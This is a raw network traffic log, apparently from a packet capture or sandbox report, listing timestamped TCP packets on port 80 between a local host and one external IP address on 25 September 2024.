Sep 25, 2024 03:51:32.844443083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844455004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844465971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844541073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844552040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844563961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844563007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.844578981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844599962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.844602108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.844669104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844717979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.844841003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844855070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844866991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844877958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844890118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844891071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.844923973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.844950914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844961882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844973087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.844995975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845020056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845038891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845096111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845107079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845136881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845165014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845176935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845211029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845258951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845272064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845283985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845300913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845352888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845381975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845393896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845407009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845432997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845547915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845561981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845573902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845586061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845597029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845597029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845607996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845630884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845719099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845731974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845745087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845756054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845767975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845771074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845791101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845855951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845895052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845906973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.845942974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.845961094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846038103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846146107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846158981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846168995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846182108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846190929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846194029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846208096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846210003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846224070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846234083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846266031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846318960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846332073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846371889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846395016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846407890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846420050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846432924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846445084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846453905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846458912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846472025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846498013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846681118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846693039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846704006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846715927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846725941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846755981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846827030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846857071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846868992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.846898079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.846997023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847007990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847018957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847035885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847038031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847048998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847054958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847064018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847074986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847086906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847089052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847095966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847107887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847117901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847130060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847476006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847486973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847497940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847510099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847522974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847528934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847533941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847537994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847548008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847556114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847584009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847599983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847610950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847646952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847747087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847759008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847769976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847784996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847786903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847798109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847810984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847822905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847835064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847841024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847846031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847848892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847861052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847872019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847873926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847882032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.847896099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.847919941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848443031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848453999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848464966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848531961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848550081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848561049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848608971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848622084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848634958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848645926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848665953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848679066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848696947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848748922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848762035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848772049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848795891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848810911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848886013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848897934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848910093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848922014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848932981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.848934889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.848963976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.849076033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849086046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849114895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849126101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849128962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.849153042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.849226952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849239111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849251032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849262953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.849272013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.849288940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.862452984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862507105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862520933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862576962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.862591982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.862603903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862617016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862660885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.862673998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862687111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.862720966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015152931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015173912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015185118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015235901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015239954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015249014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015280962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015335083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015347004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015357018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015399933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015417099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015588999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015599966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015609980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015651941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015677929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015688896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015721083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015770912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015782118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015796900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015819073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015851974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015852928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015866041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015912056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015923023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015923977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.015965939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.015980005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016103983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016115904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016128063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016139984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016150951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016154051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016170979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016277075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016288042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016299009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016305923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016315937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016323090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016379118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016463995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016474962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016485929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016499043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016509056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016518116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016534090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016621113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016633034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016644001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016671896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016696930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016801119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016819000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016832113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016843081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016854048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016860962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016866922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016879082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016891003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016896963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016904116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016911983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016916990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016927958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016938925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016942978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.016964912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.016992092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017185926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017196894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017215967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017242908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017276049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017288923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017297983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017309904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017316103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017323971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017335892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017348051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017359018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017359018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017390966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017761946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017772913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017784119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017796040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017802954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017807961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017818928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017822981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017832041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017842054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017854929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017868996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017870903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017885923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017891884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017899990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.017905951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.017930984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018109083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018121004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018162012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018270969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018284082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018294096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018307924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018312931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018328905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018341064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018341064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018352032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018363953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018373013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018377066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018384933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018393993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018398046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018413067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018424034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018430948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018436909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018450022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018461943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018465996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018479109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018492937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018493891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018507004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018520117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.018523932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.018548012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.019268036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019280910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019292116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.019303083 CEST	80	49730	3.80.28.180	192.168.2.4
